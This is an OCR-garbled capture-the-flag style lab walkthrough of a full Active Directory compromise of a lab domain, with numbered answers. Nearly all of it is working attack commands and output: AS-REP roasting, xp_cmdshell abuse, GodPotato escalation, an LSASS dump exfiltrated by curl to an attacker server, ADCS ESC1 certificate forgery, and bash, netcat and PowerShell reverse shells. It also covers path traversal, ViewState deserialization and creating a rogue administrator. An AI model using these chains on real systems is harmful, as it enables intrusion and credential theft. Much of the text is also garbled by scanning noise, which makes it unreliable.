[l

CONFI DENTI AL — SECURI TY RESEARCH — ADRTS LAB REPORT ] ]

=



>> ADRTS LAB WALKTHROUGH — Cal mAy [ PAGE

mm [ DI RECTORY ]

(=}

HENTECATERD —APDVERSARY
=N | - V| =A"

AN
oA

= B s =
Host covery —{—Step—0t]

ﬁkll Art +
——————mmNMBSQL-Cli-ent “Access & xp_cndshell—-Activation

- mamGodPotato-Transfer —=—SNB-Chao

—F yaLo N
ON— St CP—0ZT
on—I—Sraep—04
1 4
O T
O
Y Stob—07Z1
14 I
v —— 3 SOT
ot CP—U0T
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>> ADRTS LAB WALKTHROUGH — Cal mAy

mm PATH 01 :: UNAUTHENTI CATED ADVERSARY

Lab credentials issued for VPN access only. Usernane: user-
exclusively for OpenVPN tunnel. Initial attacker VPN |P: 1C(
reconnect).

[ STEP 01 ] Initial Reconnai ssance & Host Di scovery

Scanned the target subnet to identify live hosts and running services.
[ EXEC]

nmap -Pn -sV -p 80, 443, 445, 1433, 3389, 5985, 5986 10.5.2.0/24 --open --mn-rate 500

Q1 PKI -Srv.tel ecore. ad

Q2 10.5.2. 111

Q3 W ndows Server 2016

Q4 6

[ STEP 02 ] AS-REP Roasting —Unauthenticated Credenti al
Har vesti ng

AS- REP Roasting targets accounts with Kerberos pre-authentication disabled. Wthout any credentials, we
can-request _Ticket-Granting Tickets for these-accounts—and crack themoffline A -user list was conpiled
from-OSIENT/-guessi-ng—conmmon—AD-nanmi-ng—conventi-ons.

FEXEC]

i mpacket - Get NPUsers tel ecore.ad/ -usersfile users.txt -no-pass -dc-ip 10.5.2.2

[FEXEC]

john --fornat=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt hash.txt




>> ADRTS LAB WALKTHROUGH — Cal mAy

[ PAGE 04 ]

= OQUTPUT

#T3l 3phon3! (tel _support01)
Sessi on conpl et ed.

Q5 #T3| 3phon3!

hash

tel _support01 password —cracked from AS- REP

[ STEP 03 | MSSQL Cient Access & xp_cndshell Activation

SOL=—"SRV-was runnrng -NsSOL Express-on 1433

edentrals—and-Wnaows_—auth.-we_-galned-a

o —

IE 3
[FEXEC—SOE—Server—connection

# Connect using cracked credentials with Wndows auth

i npacket - nssql cl i ent -wi ndows-auth tel ecore.ad/tel _support01:'#T3l 3phon3!"' @O0.5.2.22 -port 1433

= QUTPUT

[*] ENVCHANGE( DATABASE) : nmast er

[*] I NFO(SQL- Srv\ SQLEXPRESS): Changed dat abase context to naster.
[*] ACK: Mcrosoft SQL Server (160 3232)

SQL (TELECORE\t el _support 01 dbo@master) >

| . — 4 - Bl ﬁsh -
[EAES =HaoT P—€ et

# Enabl e advanced options and xp_cndshel |
EXEC sp_configure 'show advanced options', 1; RECONFI GURE;
EXEC sp_configure 'xp_cndshell', 1; RECONFI GURE;

# Verify OS conmand execution
EXEC xp_cndshel | ' whoam ' ;

tel ecore\tel _support0l1 << xp_cndshel |l confirnmed working

|

bl e—girectory
Y

# Find a witable directory for tool staging

EXEC xp_cndshel | 'echo test > C:\ W ndows\ SERVI C~1\ MSSQL$~1\ AppDat a\ Local \ Tenp\test.txt & dir
C: \ W ndows\ SERVI C~1\ MSSQL$~1\ AppDat a\ Local \ Tenp' ;

= OUTPUT

07/ 27/ 2026 02:36 PM 8 test.txt << Wite access confirned!
2 Dir(s) 28,624,723,968 bytes free

[ CLASSIFIED | I NTERNAL USE ONLY | DO NOT DI STRI BUTE ]

tel ecore.ad |
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>> ADRTS LAB WALKTHROUGH — Cal mdy [ PAGE 05 ]

[ STEP 04 | GodPotato Transfer —The SMB Battle

ﬁ

T o
I—oat— O ary

wget https://github. com Bei chenDr eam’ GodPot at o/ r el eases/ downl oad/ V1. 20/ GodPot at o- NET4. exe - O
GodPot at 0- NET4. exe

I's -1a GodPot at o- NET4. exe
# -rwrwr-- 1 calmy cal nay 57344 Apr 11 2023 CodPot at o- NET4. exe

i npacket - snbserver share ./ -snb2support

= OUTPUT

Perm ssionError: [Errno 13] Perm ssion denied
# Port 445 requires root

Port 445 requires root. Fixed with sudo.

sudo i npacket-snbserver share ./ -snmb2support

b
m
q
g
g
=
Pl

EXEC xp_cndshel | 'copy /Y \\10. 10. 20. 10\ shar e\ GodPot at o- NET4. exe
C: \ W ndows\ SERVI C~1\ MSSQL$~1\ AppDat a\ Local \ Tenp\ gp. exe' ;

= OUTPUT

AUTHENT| CATE_MESSAGE ( TELECORE\ SQL- SRV$, SQL- SRV)

Coul d not authenticate user!

You cannot access this shared fol der because your organization's security policies
bl ock unaut henti cated guest access.

W ndows Server bl ocked anonynmous/ guest SMB access via secur
used but not whitelisted.

A — 4 1} )

£ 2=
=t

| . — 4 I =i Nﬁ T
[EAES O EEa—€HEae L3 — 1

sudo i npacket - snbserver share ./ -snb2support -user a -password a

EXEC xp_cndshel | ‘'net use \\10.10.20. 10\share /user:a a & copy /Y \\10. 10. 20. 10\ shar e\ GodPot at o- NET4. exe
...\gp. exe';

= OUTPUT

User SQL-SRWa aut henticated successfully
The conmand conpl et ed successfully.
1 file(s) copied. << SUCCESS!

[ CLASSIFIED | I NTERNAL USE ONLY | DO NOT DI STRI BUTE ] tel ecore.ad | 2026



>> ADRTS LAB WALKTHROUGH — Cal mdy [ PAGE 06 ]

I Verify transfet

EXEC xp_cndshel | "dir C\W ndows\ SERVI C~1\ MSSQL$~1\ AppDat a\ Local \ Tenp\ gp. exe' ;
# 57,344 bytes —full binary confirned

[ CLASSIFIED | I NTERNAL USE ONLY | DO NOT DI STRI BUTE ] tel ecore.ad | 2026



>> ADRTS LAB WALKTHROUGH — Cal mAy

[ PAGE 07 ]

[ STEP 05 ] SYSTEM Escal ati on via GodPot at o

oo—tost

é

# Confirm SYSTEM executi on
EXEC xp_cndshel |

' C:\ W ndows\ SERVI C~1\ MSSQL$~1\ AppDat a\ Local \ Tenp\ gp. exe -cnd "cnd /c whoam "';

= QUTPUT
*] HookRPC

Start Pi peServer

Cr eat eNanedPi pe \\ .\ pi pe\ 2010cbfc-. ..

DCOM obj GUI D: 00000000- 0000- 0000- c000- 000000000046
Pi pe Connect ed!

Current User: NT AUTHORI TY\ NETWORK SERVI CE

PID : 920 Token: 0x756 User:
Find System Token : True
Current User: NT AUTHORI TY\ SYSTEM

nt authority\system << SYSTEM confirned!

*

*

*

*

*

*
— e e e e e e e

*

[
[
[
[
[
[
[
[
[

*

NT AUTHORI TY\ SYSTEM | nper sonat i onLevel :

| nper sonati on

Sel npersonatePrivil ege - GodPotato DCOM coerce - SYSTEM t
for MSSQL/IIS service accounts.

[ STEP 06 ] LSASS Dunp via consvcs. dl

no—LSA

IOy

|

# Get LSASS process ID
EXEC xp_cndshel |

"C:\...\gp.exe -cnd "cnd /c tasklist /fi

\"i magenane eq | sass.exe\""";

= OQUTPUT

| sass. exe 696 Services 0 20,864 K
# PID. 696

|

- -
NPV a—COnNsYesS

# Dunp LSASS using consvcs. dl |

EXEC xp_cndshel |
C\...\Tenp\I|.dnp full"";

M ni Dunp (runs as SYSTEM = SeDebugPri vi |l ege)
"C\...\gp.exe -cnd "cnd /c rundl| 32. exe C.\ W ndows\ Syst enB82\ consvcs. dl |

M ni Dunp 696

[ EXEC]

Ve r—ung
Y 1

# Verify dunp size
EXEC xp_cndshel |
# 07/ 27/ 2026 02:46 PM 49, 115,900 |.dnp << Ful |

"dir C\Wndows\ SERVI C~1\ MSSQL$~1\ AppDat a\ Local \ Tenp\ | . dnp" ;
49MB LSASS dunp!

The dunp was created by SYSTEM so the SQL service account ¢
grant NT SERVI CE\ MSSQL$SQLEXPRESS read rights.

FEXEC] CodPot-ato

— - - -
reatpernSssSron—vra

Grant

EXEC xp_cndshell "C\...\gp.exe -cnd "cnd /c icacls C\.
SERVI CE\ MSSQL$SQLEXPRESS\ ": R"" ;

# Successfully processed 1 files; Failed processing 0 files

.. \l.dnp /grant \"NT

[ CLASSIFIED | I NTERNAL USE ONLY | DO NOT DI STRI BUTE ]

telecore.ad | 2026



>> ADRTS LAB WALKTHROUGH — Cal mdy [ PAGE 08 ]

[ STEP 07 | Exfiltration —Every Failed Method Then the Fix

AONR - -over—a - \VPN-tunnel-—throuah—an—imacket—-—SMR -cerver—orovedunreliable ——BRBelow- is eaverv-mthod-tried
DU AV U ouygtt art 1 irpatKet —oivb s vVer —pro u-—u ald ‘ D S, Y ou S

h
nneEng_approacn

\

p— )]

A 4 | o 4 AV 7

EXEC xp_cndshel |l 'copy /Y C\...\I.dnp \\10. 10. 20. 10\ share\l . dnp';

= OQUTPUT

Access is denied. 0 file(s) copied.

\ — 4 | o 4 AV 7

T—T=Al = T i =i =i
| vt BKeh S etr—thtHa—wtri—1+ereea—€e+reas

g
§
3
i
4
s

T
1=

EXEC xp_cndshell "C\...\gp.exe -cnd "cnd /c copy /Y C\...\I.dnp \\10. 10. 20. 10\ share\l . dnmp"";

= OQUTPUT

AUTHENTI CATE_MESSAGE ( TELECORE\ SQL- SRV$, SQL- SRV)
Coul d not authenticate user! << SYSTEM uses machi ne account, not a/a creds

mechine—account no—auth

|

# Restart SMB without -user flag to allow machi ne account
sudo i npacket -snbserver share ./ -snb2support
EXEC xp_cndshell "C\...\gp.exe -cnd "cnd /c copy /Y C\...\I.dnp \\10. 10. 20. 10\ share\l . dmp"";

= QUTPUT

SQL- SRV$ aut henti cated successful ly
You cannot access this shared fol der because your organization's security policies
bl ock unaut henti cated guest access.

I
i
s
i

# Grant SQL acct read, use authenticated net use session
EXEC xp_cndshel | 'net use \\10.10.20. 10\share /user:a a & copy /Y C\...\|l.dnp \\10.10. 20. 10\ share\l . dnp';

= QUTPUT

The conmand conpl et ed successfully. (net use)
An unexpected network error occurred. << Dropped mid-transfer
0 file(s) copied.

Even when it appeared to conplete, hash verification failec
corrupt file.

zpmm curt—uptoad et workino—netrhod
e i

[ CLASSIFIED | I NTERNAL USE ONLY | DO NOT DI STRI BUTE ] tel ecore.ad | 2026



>> ADRTS LAB WALKTHROUGH — Cal mAy

[ PAGE 09 ]

# Conpress: 49MB - 19MB cab file (via GodPotato as SYSTEM for wite perns)

EXEC xp_cndshell "C\...\gp.exe -cnd "cnd /c nakecab C:\...\Il.dnp C\...\I.cab"";

# Result: 07/27/2026 03:00 PM 19, 178, 314 |.cab

# Grant read on cab to SQL service account

EXEC xp_cndshel|l "C\...\gp.exe -cnd "cnd /c icacls C\...\|l.cab /grant \"NT
SERVI CE\ MSSQL$SQLEXPRESS\ ": R"" ;

# On Kali: Python upl oadserver on 8080
pi p install uploadserver && python3 -m upl oadserver 8080 --directory ~/adrts

# Transfer via curl (Wndows Server 2022 has curl.exe built-in)

EXEC xp_cndshel | ‘curl -X POST http://10.10.20. 10: 8080/ upl oad -F "files=@cC:\..

# First attenpt: 95%then dropped (partial file)

# Second attenpt: 100% —saved as | (2).cab

# Verify hash match

# Source: certutil -hashfile |.cab M5 - 1744e55697b02d8ae63a346400c9a463
# Received: nd5sum ~/adrts/I\ (2).cab - 1744e55697b02d8ae63a346400c9a463 [J

\l.cab"";

[ CLASSIFIED | I NTERNAL USE ONLY | DO NOT DI STRI BUTE ]

tel ecore.ad |

2026



>> ADRTS LAB WALKTHROUGH — Cal mAy

[ STEP 08 | Credential Extraction via pypykatz

FEXEC]

pi px install pypykatz

cabextract ~/adrts/'l (2).cab’ -d ~/adrts/
pypykatz | sa mnidunp ~/adrts/I.dnmp

Q6 e2b1996aaf f Of 57bccb916265a77970e

[ STEP 09 | ADCS Enuneration —Finding ESC1 Tenpl at es

Acti-ve-Directory Certificate Services is-a common lateral —novenent—/ privilege escalation-vector.
Certipy enunerates CA configurations and tenplate m sconfigurations. ESCL = tenplate allows requestor
to-—specify Subject "Alternative Nanme (SAN) —without —nmanager —approval-.

[ EXEC]

find /hone/cal nay -nane “"certipy*" 2>/ dev/null

~/.local/bin/certipy find -u tel_engi neer01@el ecore. ad -hashes : e2bl996aaf f 0f 57bccbh916265a77970e -dc-ip
10.5.2.2 -vul nerabl e -stdout

Q7 t el ecor e- PKI - SRV- CA

(001} S-1-5-21-1588247407-410625039- 1511794522

[ STEP 10 ] Certificate Request as Domain Admin —SID Fi x Required

(A)—First—attenpt —no SIFDenbedded (failed auth)
FEXEC]




>> ADRTS LAB WALKTHROUGH — Cal mAy

[ PAGE 11 ]

~/.local/bin/certipy req -u tel _engineer0l@el ecore. ad \
- hashes :e2b1996aaf f 0f 57bccb916265a77970e \

-ca telecore-PKl-SRV-CA -tenplate Tel _User \

-upn adm ni strator @el ecore. ad \

-dc-ip 10.5.2.2 -target 10.5.2.8

= OUTPUT
*] Got certificate with UPN adnini strator @el ecore. ad
] Certificate has no object SID

Then on aut h:

] Ooject SID mismatch between certificate and user

*

[
[
#
[

Server 2022 enforces strict SID binding
aut hentication fails.

in certificates (KE

—— [ EXEC—Cor - Cat 8T oquest—W - h—S-O-erberusd

~/.local/bin/certipy req -u tel _engineerOl@el ecore. ad \
-hashes :e2bl1996aaf f Of 57bccb916265a77970e \

-ca telecore-PKl-SRV-CA -tenplate Tel _User \

-upn admini strator @el ecore. ad \

-dc-ip 10.5.2.2 -target 10.5.2.8 \

-sid S-1-5-21-1588247407- 410625039- 1511794522- 500

= OQUTPUT
[*] Cot certificate with UPN adm nistrator@el ecore. ad

[*] Certificate object SIDis S-1-5-21-1588247407-410625039-1511794522-500

[*] Wote certificate and private key to adm nistrator.pfx << SUCCESS!

[ CLASSIFIED | I NTERNAL USE ONLY | DO NOT DI STRI BUTE ]

tel ecore.ad |

2026



>> ADRTS LAB WALKTHROUGH — Cal mAy

[

PAGE 12 ]

[ STEP 11 ] Certipy Auth —Cetting the Domain Adnmin NT Hash

FEXEC—AUThent I cat e W h—Certcate
1

L

~/.local /bin/certipy auth -pfx adm nistrator.pfx -dc-ip 10.5.2.2 -domain tel ecore.ad -usernane
adm ni strator

= QUTPUT

*

Certificate identities:
SAN UPN: adnini strator @el ecore. ad

*

*] Security Extension SID S-1-5-21-...-500
*] Got TGT

*

Trying to retrieve NT hash for adm nistrator
CGot hash for adninistrator@el ecore. ad:
aad3b435b51404eeaad3b435b51404ee: bf b19bca32a6aab8e0b9a836da860e32 << (V!

*

[*]
[*]
[*]
[*] Trying to get TGI. ..
[*]
[*]
[*]

Q9 bf b19bca32a6aab8e0b9a836da860e32 Adnmi ni strator NT hash from Certipy PKINIT

[ STEP 12 ] Domain Adm n Password Crack via John

Vi ro 1=

EcYEST T e e ~
EXEC—CracK mrrstrator—NT—asn

echo "bf bl9bca32a6aab8e0b9a836da860e32" > da_hash. t xt

john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt da_hash.txt

= QUTPUT

Loaded 1 password hash (NT [ MD4 256/ 256 AVX2 8x3])
August 1990password (?)

1g 0: 00: 00: 01 DONE —O0. 75759/ s 8646Kp/ s

# Password cracked in under 2 seconds!

QL0 August 1990passwor d Domai n Admi ni strator plai ntext password

[ STEP 13 ] ESXi Access via pyVmom —VM Annotation Creds

Fad—f +h EQY h F 1059 11413 \
connectea to _tne oA nypervesor—at 10, o 1 ustng py
S | Cl

[ EXEC—Py VIO —ESX—CnUNEration

pip install pyvnom --break-system packages
# Connect to ESXi and enunerate VMs + annotati ons
si = Smart Connect (host="10.5.2.111', user='"adm nistrator@el ecore. ad',
pwd=" August 1990passwor d', ssl| Cont ext =ct x)
cont ai ner = content.vi ewanager . Cr eat eCont ai ner Vi ew
content.root Fol der, [vim Virtual Machine], True)
for vmin container.view

print(vm nane, vm config.annotation)

= QUTPUT

[ CLASSIFIED | I|NTERNAL USE ONLY | DO NOT DI STRI BUTE ] tel ecore.ad | 2026



>> ADRTS LAB WALKTHROUGH — Cal mdy [ PAGE 13 ]

VM Vaul t VM
Annot ati on: Guest VM Credentials :
l'inux \ Vaul t Adm n@23 << Credentials in plain text annotation!

QL1 linux / Vaul t Adm n@23 Vaul t VM guest credentials from VM annot ati on

[ CLASSIFIED | I NTERNAL USE ONLY | DO NOT DI STRI BUTE ] tel ecore.ad | 2026



>> ADRTS LAB WALKTHROUGH — Cal mAy

[ PAGE 14 ]

[ STEP 14 ] VaultVM RCE —nkfifo Shell and Fl ag Capture

# InitiateFileTransferFromcuest —bl ocked
urllib.request.urlopen(fres.url, context=ctx2)

= QUTPUT

Connect i onRef usedError: [Errno 111] Connection refused

- (B) FAILLED —bash /dev/tcp reverse shell

[
reverse—snert

l

argunment s='-c¢ "bash -i >& /dev/tcp/10.10. 20. 4/ 9001 0>&1"'

= QUTPUT

# No connection received —/dev/tcp bl ocked by VM firewall

ra
arter—reconnect

t

argunments='-c "cat /tnp/f | /bin/bash -i 2>&1 | nc 10.10.20.10 9001"'

= QUTPUT

# VPN | P changed from 10. 10.20.10 to 10.10.20.4 after reconnect!

# Corrected to 10.10.20.4

argunments='-c "rm/tnp/f; nkfifo /tnp/f; cat /tnp/f | /bin/bash -i 2>&1 |

nc 10.10.20.4 9001 > /tnp/f""

= QUTPUT

nc -lvnp 9001

Connection received on 172.26.1.12 16274
bash: no job control in this shell

Wel come to Linux Lite 7.4

linux ~ $ << Interactive shell!

FEXE
[EAES

# Flag NOT at /root/flag.txt —enunerate filesystem
sudo |'s /root/

# cat: /root/flag.txt: No such file or directory

# Search hone dir
cat /hone/linux/Congrats. txt

= QUTPUT

[ CLASSIFIED | I NTERNAL USE ONLY | DO NOT DI STRI BUTE ]

tel ecore.ad |

2026




>> ADRTS LAB WALKTHROUGH — Cal mdy [ PAGE 15 ]

ad_red_t eam speci al i st

Contents of /hone/linux/Congrats.txt on

QL2 ad_red_t eam speci al i st

Vaul t VM

PATH 01 COVWPLETE —Ful |l unaut henti cated chai n: AS-REP roast
ADCS ESC1 - Domain Admin - ESXi - VaultVM flag.

[ CLASSIFIED | I NTERNAL USE ONLY | DO NOT DI STRI BUTE ] tel ecore.ad | 2026



>> ADRTS LAB WALKTHROUGH — Cal mAy

[ PAGE 16 ]

mm PATH 02 :: AUTHENTI CATED ADVERSARY

Credentials in hand: adninistrator@el ecore.ad / August 199(

VPN I P for this path:

10. 10. 20. 4

[ STEP 01 ] I'1'S Wb Application Reconnai ssance

FEXEC—Tar 0ol —SEr Vi Te oSt
t g gerp

# ConfirmIIlS on 10.5.2. 10
nmap -Pn -sV -p 80,443 10.5.2.10 --nmin-rate 500

= QUTPUT

80/tcp open http Mcrosoft IS httpd 10.0
443/tcp cl osed https

Service Info: OS: W ndows

# ASP. NET 4.0.30319 | X-Powered-By: ASP.NET

# Grab page source —find hidden formfields

curl -s http://10.5.2.10/ | grep -i "viewstate\| GENERATOR\ | form |input”
= OUTPUT
<i nput type="hi dden" name="__VI EANSTATE" val ue="/weEPDWMK..." />

<i nput type="hi dden" name="__VI EASTATEGENERATOR" val ue="CA0B0334" />
<i nput name="t xt Custonmer | D' type="text" /> << Custoner |D |ookup form

Q1 CA0B0334

VI EANSTATEGENERATOR hi dden field from page

sour ce

FEXEE—Navigatton—enumeraton
é # Find navigation |links —spot interesting pages
— curl -s http://10.5.2.10/ | grep -i “href"
§ = OQUTPUT
§ <a href="defaul t.aspx">Honme</ a>
g <a href="services. aspx">Servi ces</a>
g <a href="network-reports. aspx">Reports</a> << |nteresting!
- <a href="contact. aspx">Cont act </ a>

FEXEE—nspect—reports—page

# I nspect network-reports.aspx —find paraneters

curl -s "http://10.5.2. 10/ network-reports.aspx" | grep -i "input\|param|href"

= QUTPUT

<a href="network-reports.aspx?report=reports/network-status.txt">Network Uptine</a>
<a href="network-reports.aspx?report=reports/5g-coverage.txt">5G Cover age</ a>
# Paraneter nane: "report" —passes file path to server!

[ CLASSIFIED | I NTERNAL USE ONLY | DO NOT DI STRI BUTE ]

tel ecore.ad |

2026




>> ADRTS LAB WALKTHROUGH — Cal mAy

[ PAGE 17 ]

[ STEP 02 | LFI Discovery & Exploitation

‘

# Test LFI with path traversal on "report" paraneter

curl -s "http://10.5.2.10/ network-reports.aspx?report=../../../../wi ndows/w n.ini"

= QUTPUT

<pre>; for 16-bit app support
[fonts]

[ ext ensi ons]

[mci ext ensi ons]

[files]

[Mail]

MAPI =1</ pre> << LFI CONFI RVED!

Vul ner abl e paraneter nanme in
net wor k- r eports. aspx

Q2 report

Ay Extract web .nnf.g Get v

ol datl-onkev_-Tror—VvVikewstateattack

f

curl -s "http://10.5.2.10/ network-reports. aspx?report=../../../../inetpub/wwroot/web.config"
# Decode HTM. entities in output
| sed "s/&t;/</g; s/&t;/>/g; s/&uot;/"/Qg'

= OQUTPUT

<machi neKey

val i dati onKey="56AB7132992003EE87F74AE4D9675D65EED8018D3528C0B8874905B51940DEAF
6B85F1D922D19AB8F69781B2326A2F978A064708822FDB8C54ED74CADF8592E17"

decrypt i onKey="A69D80B92A16DFE1698DFE86D4CED630FA56D7C1661C8D05744449889B88ESDC!
val i dati on="SHA1" decrypti on="AES"/>

<I-- CRITICAL SETTING Allows path traversal in URLs -->

<httpRunti nme rel axedUr| ToFi | eSysTenVappi ng="true" />

[ CLASSIFIED | I NTERNAL USE ONLY | DO NOT DI STRI BUTE ]

tel ecore.ad |

2026




>> ADRTS LAB WALKTHROUGH — Cal mAy [ PAGE 18 ]

[ STEP 03 ] Machi ne Nane Enuneration via LFI

= o — = T = T
A hosts—frte—no—tost-nanme—ft-otmcd

g # Attenpt 1 —hosts file (enpty/default)
— curl -s "http://10.5.2. 10/ network-reports.aspx?report=../../../../w ndows/systenB2/drivers/etc/hosts"

# Result: Only default |ocal host entries —no hostname

# Attenpt 2 —applicationHost.config (IS config with machi ne name)

curl -s "http://10.5.2.10/ network-reports.aspx?report=../../../../w ndows/systenB2/inetsrv/config/applicati
onHost . confi g"

# Result: Enpty —I1S service account cannot read this file

:

i aataamsu=1mmut e}
p

# Attenpt 3 —Net Setup.log (contains nachi ne name from donai n-j oi n process)

curl -s "http://10.5.2.10/ network-reports. aspx?report=../../../../w ndows/debug/ Net Set up. | og"

= OQUTPUT

09/ 01/ 2025 Net pMachi neVal i dToJoi n: ' W N-3336QDI 1GWJS
OS Version: 10.0 Build 20348 —W ndows Server 2022 Standard
# This was the INITIAL setup name —Ilab marked it w ong!

W N-3336QDI 1GMJ was the setup-tinme nanme. Lab expected the c
was obtai ned: Web-Srv

FEXE T 121
[EAES teer—Ssealren

# | dapsearch to check if box is in AD
| dapsearch -H Idap://10.5.2.2 ... "(objectd ass=conputer)"” dNSHost Nane nane

= OUTPUT

nane: DCO1 | nane: PKI-SRV | nanme: SQ.-SRV | nane: EX-SRV | nane: ESXI-VD
# 11S box (10.5.2.10) NOT in Active Directory —WRKGROUP nachi ne
# Machi ne nane only confirned once shell was obtained

Il S machi ne hostname —confirnmed via host nane
cnd in shell

(09K} Web- Srv

[ STEP 04 ]| ysoserial.net —Linux Failures, Wndows Sol ution

NET ¢ [ RY D ¥ 1 ~ hi h—f ad
NET-T001) RUnNNtENg -t -on Lt nux_provea 1npossitpre every approacn-_tralrtrea

A 4 tv

nono ~/ adrts/ Rel ease/ ysoserial.exe -p ViewState -g Text Formatti ngRunProperties ...

= OQUTPUT

[ CLASSIFIED | I NTERNAL USE ONLY | DO NOT DI STRI BUTE ] tel ecore.ad | 2026



>> ADRTS LAB WALKTHROUGH — Cal mAy

[ PAGE

19 ]

System | O Fi | eNot FoundException: Could not load file or assenbly
' System Transacti ons, Version=4.0.0.0'

FEXFE—tnstatt—mmno-conprete

sudo apt install nono-conplete -y

nono ~/ adrts/ Rel ease/ysoserial.exe -p ViewState -g Text Formatti ngRunProperties ...

= QUTPUT

System | O Fi | eNot FoundException: Could not load file or assenbly
'Present ati onCore, Version=4.0.0.0" << WPF —not avail able on Li nux!

N

|
N
«
}
«
<
~

I NF
\ t

- - 3 =i 3 2y
AR Rt Y-e—gaaget—enatt

nono ~/ adrts/ Rel ease/ ysoserial.exe -p ViewState -g TypeConfuseDel egate ...

= OQUTPUT

Syst em Nul | Ref erenceExcepti on: Object reference not set to an instance of an object

wi ne ~/adrts/ Rel ease/ ysoserial .exe ...

= OQUTPUT

Application could not be started, or no application associated with the specified file.

A — 4 P P ~ AV 7

| . — 4 X 3 I ﬁ
[EAES YS—hHatt—Y Y SOSeitar €€ =6

# Copy entire Rel ease folder to SQ.- SRV via SMB pi vot
EXEC xp_cndshel | ' xcopy \\10. 10. 20. 4\ share\ Rel ease\*.* C\...\Tenp\ys\ /E /I /Y';
# 49 files copied including all DLLs
# Create run.bat on Kali (avoid SQ. quoting hell)
cat > ~/adrts/run. bat << ' EOF'
C\...\ys\ysoserial .exe -p ViewState -g TextFormatti ngRunProperties \
-c "powershell -enc SQBFAFYAKABOAGUA. .." \
--val i dati onal g=SHA1 \
--val i dati onkey=56AB7132992003EE87F74AE4D9675D65EED8018D3528C0B8874905B51940DEAF. . . \
- - gener at or =CA0OB0334 --i sl egacy
EOF
# Copy bat to SQ.- SRV and execute
EXEC xp_cndshel | ' copy \\10. 10.20.4\share\run. bat C\...\Tenp\run. bat";
EXEC xp_cndshell "C\...\gp.exe -cnd “"cnd /c C\...\run.bat > C\...\payload. txt 2>&1"";
EXEC xp_cndshel |l 'type C\...\payload.txt";
# Got base64 Vi ewState payl oad!

[ CLASSIFIED | I NTERNAL USE ONLY | DO NOT DI STRI BUTE ]
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>> ADRTS LAB WALKTHROUGH — Cal mAy

[

PAGE 20 ]

[ STEP 05 ] ViewState Injection —Getting the IS Shell

|

e niecton—Toverse—shott
i

# shel|l.psl —Power Shell TCP reverse shell (served via uploadserver)
$client = New Obj ect System Net.Sockets. TCPCl i ent ("10.10. 20. 4", 9002)
$stream = $client. Get Strean()

# ... (standard PS reverse shell)

# inject.py —POST malicious ViewState to default.aspx
payl oad = urllib. parse. unquot e( payl oad_encoded)
data = {

' __VI EWSTATE' : payl oad,

' __ VI EWSTATEGENERATOR : ' CAOB0334',

' bt nLookup' : ' Lookup',

}

requests. post (' http://10.5.2.10/defaul t.aspx', data=data)

# On Kali —Ilisten for callback
nc -1vnp 9002

= OQUTPUT

Status: 500 << Expected! Payload fires before page renders
# nc |istener:

Connection received on 172.26.1.12 2472

bash: no job control in this shell

PS C:\ wi ndows\ syst enB2\ i net srv> whoam

iis apppool \root

PS C:\ wi ndows\ syst enB2\i net srv> host nane

Web- Srv

App pool identity —from whoani in reverse

Q4 11'S AppPool \ r oot

shel |

[ STEP 06 | Registry Discovery —DPAPI Bl ob Found

FEXE T 127
[EAES g-Sty—Seatreth

# Search registry for app-specific keys
reg query HKLM SOFTWARE /s /f 'Tel ecom 2>$null | Select-String -Pattern ' Tel econi App'

= OUTPUT

HKEY_LOCAL_MACHI NE\ SOFTWARE\ Tel ecomApp

9
d
-
q
5
&3
d
KM
-+
i
¥

# Read all val ues
reg query HKLM SOFTWARE\ Tel ecomApp

= OQUTPUT

User Name REG SZ tel _adnm n01@ el ecore. ad
Encrypt edPassword REG SZ AQAAANCVhA8BFAER] HoAWE/ Cl +s BAAAAQUXT pnwAVOWYA. . .
# DPAPI bl ob —Local Machi ne scope (0x01 header byte)

[ CLASSIFIED | I NTERNAL USE ONLY | DO NOT DI STRI BUTE ] tel ecore.ad | 2026



>> ADRTS LAB WALKTHROUGH — Cal mAy

[ PAGE 21 ]

Q06

HKEY_LOCAL_VACHI NE\ SOFTWARE\ Tel ecomApp

Regi stry path containing encrypted service
account

[ CLASSIFIED |

I NTERNAL USE ONLY | DO NOT DI STRI BUTE ]
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>> ADRTS LAB WALKTHROUGH — Cal mAy

[ PAGE 22 ]

[ STEP 07 | DPAPI Decryption —Every Failed Method Then

the Fix

= Add- Type - Assenbl yNane System Security

E $dec = [ System Security. Cryptography. ProtectedDat a] : : Unprot ect ($b, $null, 'Local Machi ne')
E s QUTPUT

§ # Conpletely silent —no output, no error. |1S app pool |acks DPAPI key access.

FEArCT— OO PO Al 0—DRPARP—TUNS atammararmatan:
t 1 P

C:\ Wndows\ Tenp\ gp. exe -cnd "powershell -c '..ProtectedData::Unprotect..."'"

# Various attenpts with gp2.exe, gp3.exe, gp4.exe (new pipe each tine)

= OUTPUT

# GodPot at o creates an | MPERSONATI ON t oken (not a PRI MARY token)
# DPAPI Unprotect requires a PRI MARY SYSTEM token to access master key store
# Qutput is silently lost in the non-interactive session

|
L
5
—h
¢

schtasks /run /tn "dec"

type C\...\out.txt

schtasks /create /tn "dec" /tr "powershell ... | Qut-File C\...\out.txt" /ru SYSTEM. ..

= OQUTPUT

# out.txt always O bytes —Unprotect silently fails even as SYSTEM vi a schedul ed task

EAC— P i ar T SYSTEMTOREN
=S ] SpoofEr—p ¥y EN

C:\ W ndows\ Tenp\ ps64. exe -i -c "powershell ... ProtectedData::Unprotect ..."

= OQUTPUT

# No output —Print Spooler service disabled on this host

E

A} FA ED at
| - L] 8

=1 m-m-1I 7 cakirlca doani ( Fay
AT e Kac Z - SCKUlrt-sa apapil Crrrpe

FEA—nekatr—diraot rcue—as—IS—nool
FEALL] TT SeOEbUgRr D

C:\ W ndows\ Tenp\ mi m . exe "privilege::debug" "sekurlsa::dpapi" "exit"

= OQUTPUT

ERROR kuhl _m privilege_sinple ; RtlIAdjustPrivilege (20) c0000061
ERROR kuhl _m sekur| sa_acquireLSA ; Handl e on nmenory (0x00000005)

[ CLASSIFIED | I NTERNAL USE ONLY | DO NOT DI STRI BUTE ]

tel ecore. ad

2026




>> ADRTS LAB WALKTHROUGH — Cal mAy

[ PAGE 23 ]

——FeEe—6 T T o T
eate T ocar—aum T Se et SOy

# Create |local admin via GodPotato (SYSTEM i npersonation can do this)

hacker /add"

# From Kali —secretsdunp using new | ocal adm n (SMB access now wor ks!)
i npacket - secr et sdunp hacker: P@swOrd123! @O0. 5. 2. 10

C:\ W ndows\ Tenp\ gp8. exe -cnd "cnd /c net user hacker P@swOrd123! /add && net | ocal group adninistrators

= QUTPUT

Admi ni strator:500: aad3. . . : c7fa03caléc23dadcd33cf 99756bdbbf : : :
